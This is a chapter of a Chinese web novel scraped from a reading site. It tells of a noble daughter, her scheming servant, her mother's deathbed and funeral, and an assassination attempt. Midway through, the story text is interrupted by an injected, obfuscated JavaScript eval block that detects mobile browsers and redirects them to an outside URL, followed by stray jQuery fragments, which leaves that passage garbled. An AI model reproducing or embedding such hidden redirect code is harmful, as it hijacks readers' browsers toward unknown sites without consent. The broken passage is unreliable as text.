默认冷灰
24号文字
方正启体

15. 主仆之间

作者:宴空本书字数:K更新时间:
    “姑娘回来了!”门外传来丫鬟的喊叫,两道人影从门口走进来。


    顾饮檀连请安的心情都没有,对老夫人微微福神就转身进了卧房,等到她沐浴完毕已经是一个时辰后了。


    “我的孩儿啊,你终于回来了……”老夫人苍老了许多,紧紧牵着顾饮檀的手,又看向站在一旁的段竟,“你们都回来了……好啊好啊。”


    顾饮檀定定地看向失魂落魄的顾银朱,心情不佳地坐下来:“母亲,您说我是谁?”


    老夫人顿了顿,叹了声:“你当然是咱们顾家的掌上明珠,若有人敢欺负你,甚至要加害于你,我定然不能饶过!”


    顾饮檀闭了闭眼,再次睁开:“来人!顾银朱加害长者,心有不轨,我这个作姑姑的,就给她长长记性!回去之后,顾银朱禁足三月,在府上潜心学习不得外出,罚抄顾氏家训三十遍,若有人胆敢包庇,一罪并处!”


    顾银朱慌了神,这才缓缓坐直身子,滑跪地上:“不、不能,你不能这样对我。”


    顾饮檀盯着她,同时又眉头微蹙:“我倒是很好奇,到底是谁给你的胆子敢算计我。”


    顾银朱咽了咽唾沫,摇着头:“不可能的,你不可能回来,算命的说了你今日必死无疑,不、不是我!是言夫人和顾雅,是她们给我出的主意!”


    顾银朱仰头,跪着向顾饮檀走了两步,被下人扶着下去了。


    老夫人不知道该说什么:“檀姐儿……你要罚也要注意身体啊……”


    周围就段竟在,其余人察觉到气氛不对都出去了,顾饮檀看着老夫人,眼神渐渐冷下去:“母亲,我能我能问您一件事吗?”


    “为什么让段竟一个人来找我,您是觉得我的生死不重要,还是相信段竟能找到我?”


    老夫人从未被这么质问过,一时间无语凝噎,泪水从眼角落下,捂着脸痛苦不堪:“我……”


    不等她回答,顾饮檀已经站起身,偏头看了眼老夫人,“我不怪您,但您也不别再插手我的事了。”


    说完,段竟起身跟上,房门打卡再关上,外面又是一片祥和。


    *


    入秋这日,顾饮檀来送顾流章和顾流芳两兄弟参加科考,她昨日没有睡好,靠在马车上昏昏欲睡。


    听见马车停下的声音,外面隐隐传来议论声,顾饮檀习惯性地摸了摸脖子,却扑了个空,她恍然睁开眼睛。


    段竟恰好掀开车帘站在外面,手里正拿着长命锁:“祖宗,您是在找这个吗?”


    顾饮檀接过来戴上,这才慢悠悠下车,“准备吧。”


    追月对身后的人说了些什么,原本一片嘈杂的人群往四处散开,一支舞狮舞龙队伍走出来,大抵有四五十人,全都打扮得喜气洋洋。


    “恭祝顾大少爷、顾二少爷金榜题名、前程似锦!”舞狮舞龙队跳起恭祝仪式,气氛热络,排场气派。


    顾饮檀双手抱胸:“怎么样?喜欢吗?”


    顾流章眼睛都直了,他张大嘴巴凑上前:“姑!您也太会来事儿了!我就喜欢这样!”


    顾饮檀勾唇一笑,还没来得及说什么,余光瞥见站在考生中的贺云迦,面色微凝,“贺大少爷好啊。”


    贺云迦脸色很难看,一看就是昨夜没睡好,他这段时间都过得不太好,锦衣玉食的日子过惯了,他这段时间才意识到自己失去了什么。


    母亲的啼哭和父亲的谩骂他已经听腻了。


    “顾大小姐,你来做什么?”贺云迦拧眉,似乎不想听见顾饮檀的胡言乱语。


    顾流芳适时开口:“谢谢姑姑来给我们送考,今天也是专门为了我们而来的吧?”


    顾饮檀点头,看见顾流芳青涩的脸,大方伸手在他头上拍了拍:“加油考试!姑等着你!”


    顾流芳的脸霎时间红了一片,站在一旁的顾流章不高兴了,凑上去也要拍。


    “去去去,你看看咱们贺大少爷,佳人在侧怎么不温存温存?也是,谁不知道贺大少爷清高有气节,绝不会和我们这等俗人同行。”顾饮檀说完还不解气,瞟了眼不说一句话的段竟,甩了甩袖子。


    段竟迟钝地开口:“祖宗别气坏了身子,毕竟不是谁都像我一样关心您。”说完,他扫了一眼贺云迦。


    贺云迦浑身发毛,他对这个奴才有种打心底里的厌恶,但今日一见,他的目光在顾饮檀和段竟之间徘徊。


    “呵,我算是知道了,顾饮檀,难怪你突然性情大变,原来是有了新人?”贺云迦的声音尖锐。


    顾饮檀眉头一皱,顺着他的目光看向段竟,一瞬间怒不可遏:“你算什么东西,这是我的事情,你和任小姐的关系也不错嘛。”


    贺云迦一听,立刻甩开握着自己手的任婉婉,同时心里又有些高兴,带任婉婉出来是对的,顾饮檀果然吃醋了。


    他竭力压住喜悦,装作无奈地看了眼顾饮檀,“檀檀……”


    “云迦哥哥?”任婉婉一愣,眼中就蓄满了泪水,还没开口,门口的考官出来了。


    “可以进去了!小姑姑,那我就先走了,我考完出来你可一定要等我!”顾流章大声说,被自己顾家娘子推进了考场。


    顾饮檀轻笑一声,看着来来往往的考生,一个个手不释卷非常刻苦,又长舒口气。


    段竟跟在她身边,听她说:“还好我不用读书。”


    顾流芳清点完自己的东西,站在顾饮檀面前,眼神小心翼翼:“姑姑,那我就进去了?”


    顾饮檀点头,这个小侄子沉默了些,但是从小就玩得到一处去,“去吧去吧,好好应考。”


    顾饮檀回头往马车上走,只剩下顾流芳一个人,他慢吞吞地走进考场,有些失望地垂下了头,不死心又回头看了最后一眼。


    这一眼却僵住了。


    他看见顾饮檀抓着段竟的手臂,两人的动作被马车掩盖住,但他不会错认,段竟的眼神并不是单纯的。


    那种侵略又痴迷的眼神,陌生又熟悉。


    顾流芳心里像是在滴血一般,最终走进了考场。


    *


    顾府门口,一箱一箱的东西被搬出来,顾饮檀的马车差点撞上,她不大高兴地问:“这是在干什么?都挡住我的路了。”


    玉翠赶紧去问,对顾饮檀说:“回姑娘,是大公子的令,这都是要搬到太子府的。”


    顾饮檀挑眉,原本也不打算理会,但下人搬箱子的时候没有注意,箱盖突然打开来,顾饮檀瞟了眼。


    箱子里面装的都是金银,顾饮檀一顿,突然把箱盖都掀开,里面的东西一览无遗。


    “这都是……?”顾饮檀诧异,即便她从小穿金戴银,也没有一次见过这么多东西,“是大哥的令?”


    “是。”


    好几箱的金银,还有几箱布匹珠宝,都是价值不菲的宝贝,这些东西竟全都搬到太子府上?


    顾饮檀满心疑惑,她从来不插手家中正事,人人都说顾玺国心有城府,除了他带着顾家站队太子一事上,顾饮檀有些不理解。


    “大哥不会这么莽撞才对,怎么会突然搬这么多东西出去?”顾饮檀撑着下巴望向窗外,恰好段竟端着一盅燕窝进来。


    顾饮檀每日都有吃燕窝的习惯,不吃金丝燕就睡不好,她习惯性地打开盖子,却没有动勺子。


    “今天的燕窝……怎么这么少?”顾饮檀不悦皱眉,她平时要吃满满一盅,虽然说往往不会全部喝完,但绝对不应该这么少。


    她从来没说说过要节俭,也习惯了浪费奢侈的生活,于是看向段竟:“是谁要你端进来的?”


    段竟低声说:“是厨房。”


    顾饮檀撇了撇嘴,看向段竟瘦弱的身子,“你,吃掉。”


    她把燕窝推到段竟面前,“叫你吃你就吃,磨磨蹭蹭干什么?”


    顾饮檀对燕窝这种东西向来是可有可无,反正她不缺,但偶尔给点小恩小惠也不算什么。


    “好吃吗?”顾饮檀半是戏弄着看着段竟,眼神中有些高傲。


    段竟没用勺子,仰头一口把燕窝全喝下去,连味道也没尝出来,“不知道。”


    顾饮檀噗嗤一声笑出来:“不知道?那你以后就都帮我喝,直到喝出味道为止。”


    段竟垂头,放下瓷碗,顾饮檀这才发现他的嘴唇周围有些发红,像是肿起来了一般。


    段竟一副毫不在意的模样,声音也没有一丝变化,刚好顾饮檀现在没事干,摆了摆手:“我闲着没事干,你有没有什么好玩的事情说说?”


    段竟仰头,思考了一会儿说:“听说大少爷搬那些东西到太子府上,是为了西南粮食问题,您知道吗?”


    顾饮檀挑眉,觉得这个话题不好玩:“粮食问题?粮食能有什么问题?粮食不见了?”


    段竟沉默下来,他突然想起这是金枝玉叶的大小姐,怕是从来都不知道粮食是怎么来的。


    “粮食短缺,百姓没有饭吃,这就是粮食问题。”段竟干巴巴解释。


    “没有粮食找太子干嘛,太子有什么办法?找顾家干嘛?”顾饮檀突然皱紧眉头,眼睛一亮:“那些钱都是用来买粮食的?”


    顾饮檀一拍大腿:“那些钱,那么多钱全都搬到太子府了!”


    段竟眼神冷漠下来,他扯了扯嘴角,以为顾饮檀要心疼钱了。


    下一秒,顾饮檀轻笑一声:“早说啊,原来用钱就能解决,那还算什么问题。”


    段竟又不说话了,“……想必今日的燕窝减少,也是因为要协助太子殿下解决粮食问题。”


    因为要送钱到太子府,所以克扣了你的燕窝,这话他没说。


    顾饮檀转过头来,又看了眼桌上空空的碗,问:“燕窝这种东西,难道也是用钱买的?”


    段竟:“……是……”


    “那行,你去找厨房,就说本小姐还要燕窝,你多喝点。”顾饮檀打着哈欠,不着调地往床边走,“我要睡了。”


    段竟垂眸,看顾饮檀慢吞吞爬上床,赶紧说:“祖宗,您还没有脱外袍。”


    过了会儿,追月进来了,她先是给顾饮檀换了寝衣,又端起桌上的空碗往外走。


    这一碰不得了,她被空碗的余温烫得一抖,赶紧把碗放在桌上。


    这空碗这么烫?!


    是姑娘吃掉了燕窝吗?!


    段竟不语,从追月手边接过依旧滚烫的碗,抿了抿通红的唇。


    *


    清早,昨夜听说顾饮檀竟然让段竟吃了燕窝,顾老夫人的脸上有些难看,气得一时间没吃得下饭。


    “当真如此?”


    玉翠一听赶紧跪下:“是真的,姑娘还说以后每日燕窝都要段竟来吃,但……姑娘一向厌恶段竟,想必只是一时兴起。”


    老夫人摇摇头,眼睛精明地眯起来。“檀姐儿不像是会对下人这么好的。”


    片刻后,老夫人微微斜睨着眼睛,沉吟道:“大夫那边怎么说?檀姐儿的那毒可有好转?”


    玉翠难掩高兴,立刻回:“好多了!大夫说姑娘的毒已经差不多都……这段时间我经常盯着段竟喝药,每次都喝干净了!”


    老夫人这才带上了一点笑意,却又突然变了脸色,闷声吐了一口血出来。


    “老夫人!”


    “……拿帕子过来就行。”老夫人接过帕子捂着嘴又咳了几声,“不用管,我这病治不好了。”


    她看了眼自己台上不剩多少的烛火,烛火已经燃尽,一碟烛油晶莹剔透,将上面的烛火衬得明亮。


    “这蜡烛怎么不续上?”


    玉翠赶紧说:“奴婢这就去。”


    老夫人叹了口气,缓缓站起来,还没来得及动作,手雀抬不起来了。


    “额……”老夫人昏过去之前嘴里还喊着:“檀姐儿……”


    “啪!”玉翠捧着的瓷碗突然打翻在地。


    月上三杆,靖国府突然爆发一阵慌乱,所有丫鬟婆子统统跑去老夫人院子中,一向深居简出的顾玺国却不在府上。


    顾饮檀原本刚睡下不久,就听追月说老夫人昏倒了。


    “什么?”顾饮檀刚下床,被床边的火炉挡到,差点摔倒。


    段竟赶紧帮她把拦路的东西都搬到一边,扶着她走去,老夫人的院子已经乌泱泱一片。


    “母亲……”顾饮檀眨了眨眼睛,入目就看见老夫人躺在床上,鲜血四溢,把金丝被褥都染红了。


    大夫在一旁进进出出,束手无策。


    “檀姐儿来了……”老夫人缓缓睁开眼睛,看见下人端着一根人参下去,连忙唤道:“不用了,这人参留给檀姐儿。”


    “去煮,快去煮!”顾饮檀着急忙慌地摇头,“母亲,没关系的,您一定会好好的。”


    “不用了!咳咳咳……”老夫人咳了几声,脸上的血被两行热泪晕开,留在脸上的沟壑里。


    “我欠了你太多,希望你不要怪我……”


    顾饮檀听不懂,哭得声音沙哑:“母亲,如果不是您,孩儿根本活不到这个时候,您说什么胡话呢!”


    老夫人喘息着,看了眼站在顾饮檀身后的段竟,眼神闪动,“你一定会好好活下去的,我拼了这条老命也要保住你。”


    顾饮檀什么都不懂,她此时此刻只知道自己母亲越来越虚弱,弱小得快要离她而去了。


    “药要好好喝,饭要好好吃……老大媳妇儿啊……”老夫人又转头和其他几个说着话,顾饮檀被段竟拉着出去了。


    “你干什么!我要陪着我母亲!”顾饮檀大力甩开段竟,怒视着他。


    段竟目光深沉地看着她,突然伸手——


    “你?”


    顾饮檀愣了愣,一只手轻触她的面颊,把脸上蹭到了一点血迹擦干净,音色柔和:“别哭了。”


    “你、你滚,你滚!我不要看见你!”顾饮檀大骂,不等段竟回应打开门冲进去。


    大抵是应了那句话,人之将死,其言也善,老夫人在床上交代了一些事情,对于家中一向不喜欢的人也慈眉善目。


    最后才说:“我最放心不下的,就是檀姐儿,给她留的东西也最多。”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15142313|164537||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    顾大夫人主动说:“母亲放心好了,等到流章考取功名,一定把檀姐儿当亲娘对待。”


    老夫人没接话,只是静静地看着床顶,眼神越来越失去焦点。


    日出的时候,伴随着鸡鸣,老夫人闭上了眼睛,沉沉睡去。


    “母亲……!”顾饮檀呜咽一声,抱着老夫人的身体。


    顾家其他几人静静地看着,没有一个愿意上前,顾玺国恰好进门,看见的就是这一幕。


    他痛苦地闭上眼睛,带头跪了下来,“母亲,孩儿来晚了。”


    言夫人一眼看见顾玺国的衣衫不整,她厉声说:“你从哪儿回来的!?这是什么!”


    言夫人指着顾玺国衣襟上的一点胭脂问,语气越来越刺人:“是不是去哪儿宿柳眠花了!?”


    “你要吵也要分场合吧?”


    两人就这么当着老夫人的面争执起来,顾饮檀一个人走出房,听着身后的争吵声,望了望天上,几只鸟飞过。


    她没要任何人陪着,独自拖着疲惫的身子往回走。


    打开门,原本以为会有段竟在院子里等着她,结果一个人也没有。


    顾饮檀怔了下。


    *


    房门轻嗤一声,微微张开一个口子,段竟踩着水,看向蜿蜒的小巷。


    他手里拿着一个布袋,靠近江边湍流急迫的位置,抖开袋子,把里面的药粉都抖落。


    月上中天,像是一层薄纱笼罩着这座城,眼前的一切都朦胧幻梦。


    闻着里面的药,段竟不爽地皱紧眉头,尽管他警惕性高,但老夫人对他不放心,还是逼着他喝过几次药。


    他现在一闻到这药的味道就难以控制自己。


    月光从段竟的面中落下,分割出一明一暗两部分,他眼神晦暗地把袋子一并扔到河里,想起今早顾饮檀对他的态度,竟勾唇笑了下。


    河水从高处落下,发出巨大的声音,耳边一时间什么都听不见,一个黑色的影子亦步亦趋。


    等到段竟走到巷子口时,那黑色的影子猛然举起手中的柴刀,用力抬起,眼见着就要劈下。


    “哧——!”


    锋利的柴刀切割开空气,凌冽的风声在段竟耳边响起,以迅雷不及掩耳之势向前突刺。


    段竟眼神一凛,猛地捂着手臂向一旁滚去,却被疼得叫出声来。


    “额!”段竟摸了摸自己的左臂,衣袖断裂已经废了,再晚一点,他这手怕是已经没了。


    “你、你别怪我,我只是奉命行事,你必须死,主子才能活!”


    那黑影还想再砍一刀,结果手肘突然被什么东西刺到,手里的柴刀被踢开,他还没来得及说话,下一刻,一柄剑从天而降,从心口贯穿。


    段竟撑在地上,死命呼吸,摸着自己的脖子,抬头看着黑影身后的人。


    “他、他死了?”段竟一副害怕的模样,看着来人。


    许副将伸手把段竟扶起,后者大口呼吸,被吓得脸上煞白,头冒冷汗,像是被吓得不轻。


    “没事了,段兄弟!”许副将擦了擦沾上的血迹,不拘小节地在衣服上擦了擦,“文将军让我来找你,恰好遇上你被刺,还好、还好!”


    段竟摇摇头,“他刚刚说……我必须死,许副将,我不能再住在这儿了,你让我和你一起走吧!”


    许副将还想拒绝,手却碰到段竟湿漉漉的手臂,血流不止,应该伤得不轻。


    “我不想等五皇子回来了,我让我去找文将军吧!我不想死!”段竟做样要跪下来。


    许副将于心不忍,他也是草根出身,更何况段竟只是一个奴才,虽说胆识过人,大抵也是没见过这种场面。


    少顷,许副将点头:“好,我你先和我回府吧。”


    两人走后,下了一场大雨,雨水冲刷过地上残留的血迹。


    段竟刚被包扎好,文清岳就说要见他。


    “你醒了?”文清岳眯着眼笑,看了看段竟的伤口:“昨夜给你包扎,你一声不吭,倒是有几分将士的风度。”


    段竟原本想要跪下来,但文清岳摆手说:“听许鑫说,你无论如何也要过来?但顾家老夫人才刚刚过世,你从顾家出来,不合规矩。”


    段竟摇头:“我只是想要见您一面。”


    “嚯?你想说什么?”文清岳摆出一副很有兴趣的模样。


    段竟沉吟片刻,“西南粮食问题,我有办法,但是我有条件,我想要见毓王殿下,还请文将军给个机会。”


    文清岳没有犹豫,当即点头:“可以,如果你的办法真能解决粮食问题,将你引荐给陛下也是合规矩的。”


    “现在顾家已经一盘散沙,太子那边也会有多动作,顾家有不少他的‘好东西’啊。”文清岳笑了下,“当时你来找我,我还不放心你,如今我是真的信了你的了,你说的每一步都应验了,下一步应该启禀陛下了吧?”


    下一步,就是收网的时候,段竟眼中波涛汹涌,一切都顺利得有些不可思议。


    但很快,段竟眼中的波涛散去,他苦涩地捂着手臂:“我一心为主,主子却要杀我……”


    文清岳叹了口气:“世上哪儿有什么主仆情深。”


    “再等过两日吧,顾家还有一个障碍。”


    段竟收起那副模样,手指紧紧拧着手臂的伤处,鲜血再次溢出来。


    两日后,按照规矩,老夫人的灵体要由长子顾玺国抬着走到灵堂。


    这日顾家小辈云集,无一例外身着白衣,都是来缅怀顾老夫人的,太子殿下因为和顾家联系紧密,也到场了。


    顾饮檀站在最前面,手捧着一束君子兰。


    “这是您最喜欢的花。”顾饮檀把君子兰放在老夫人灵位前,跪在蒲团上,上了一炷香。


    顾玺国叹了口气,他这段时间被言夫人逼得紧,憔悴了不少,“小妹,你也不要太伤怀了,身体要紧,娘最不放心的就是你的身体。”


    顾饮檀没动,只垂着脑袋,露出侧面短了一截的发,顾玺国怔愣住。


    这是当朝一种习俗,父母去世,做子女的断发以表诚心,意味着还父母养育恩情,今后也定不负父母之命。


    只是过了这么多年,这种古老的习俗早已没有多少人坚持。


    “当年祖母去世,母亲也是这样做的。”顾饮檀喃喃道,又看向灵位:“您放心,我一定会好好活着。”


    葬礼严格按照规矩礼制进行,底下的人按照辈分嫡庶瞻仰上香,这些人并不是真的上心,有些远亲甚至连老夫人的面都没见过。


    有些可能想给自己儿子捐个官,有些可能想给自己女儿看个好人家,有些可能想要和太子亲近认识。


    顾饮檀都清楚,她比谁都清楚。


    顾饮檀望着天空,盯着珠光宝气房梁上的某个点,缓缓闭上眼睛。


    耳边的风声呼啸而过,忽远忽近,顾饮檀睁开眼睛,就看见天上一个黑色的点越来越近,最终看清是个人影。


    那片影子砸下来,脸着地,溅起一片风尘。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)